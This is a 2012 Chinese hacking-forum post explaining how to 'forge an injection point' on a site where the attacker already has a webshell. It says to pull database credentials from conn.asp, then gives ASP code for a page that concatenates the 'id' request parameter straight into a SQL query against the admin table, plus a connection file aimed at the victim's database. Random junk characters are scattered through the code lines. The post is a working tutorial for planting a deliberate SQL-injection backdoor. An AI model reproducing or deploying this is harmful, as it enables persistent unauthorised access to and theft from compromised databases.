找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 1746|回复: 0
打印 上一主题 下一主题

伪造注入点方法

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-13 17:53:08 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
首先你要拿了一个webshell,这样你找到连接数据库的文件,大多都是conn.asp这个文件里面有mssql的用户和密码,你要找到用户名、密码、数据库所在的IP,然后连接上去,至于连接大家应该都会,找到网站管理员的表。因为我测试的时候是用管理员的表,我朋友说任何表名都可以,只要这个表存在,代码如下:
7 I3 T5 w. c$ J5 X. r% lASP/Visual Basic代码& g9 C, g/ W1 P. S, O! b
<!--#include file="xx.asp"-->   
- e% B% t% L& F4 b<%    2 J, H7 t  \8 [' z4 J; x) d! H
set rs=server.createobject("ADODB.recordset")    " h5 ^, f" x, r" C1 G
id = request("id")   
. M0 L- G8 Q8 e3 V* T0 sstrSQL = "select * from admin where id=" & id   
1 |/ b9 O$ y4 [9 C+ u3 V0 Rrs.open strSQL,conn,1,3    ; K  _. T$ G' q6 ~# j) r" s
rs.close    ! U; k* x" J( }7 F# X
%>  
! ^/ R2 |- o* U; Y3 a把strSQL = "select * from admin where id=" & id 这句话里面的admin换成要伪造的表名,注意必须存在。你可以连接上去看下表名就是了!这里假设的是admin是表名!这个文件名随便保存!
8 \% s: H- P$ E( s然后就要构造一个连接数据库的文件了,代码如下:( t$ s  K% F9 L0 f3 v5 _  H* Q
ASP/Visual Basic代码
5 ]( Q; u" a0 b/ e<%            ; v) T4 Y% Y( _1 {  o
strSQLServerName = "000.000.000.000"     '服务器名称或地址   
2 d0 x6 E# s2 [! ~# LstrSQLDBUserName = "sqlname"         '数据库帐号    : T$ g/ ?% N$ S& q' D1 ?
strSQLDBPassword = "sqlpass"         '数据库密码    9 [0 ~! ^# X; N0 c+ k8 V
strSQLDBName = "sqldataname"           '数据库名称   
/ g$ F/ O& a% _Set conn = Server.CreateObject("ADODB.Connection")    & h6 N1 f, _  z# j$ ?
strCon = "rovider=SQLOLEDB.1ersist Security Info=False;Server=" & strSQLServerName & ";User ID=" & strSQLDBUserName & "assword=" & strSQLDBPassword & ";Database=" & strSQLDBName & ";"   
+ o+ y  h$ E+ ]& J7 J, e3 O% fconn.open strCon    # x; L& v& V2 L) Q' K) o
%>  
0 y1 ?1 ^5 w& F0 n这里应该都会了,就不罗嗦了,不过注意的是保存的文件名要和include调用的名字一样。就这样,正常情况下,就OK了,伪造成功: G" z; n6 E0 B) S
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表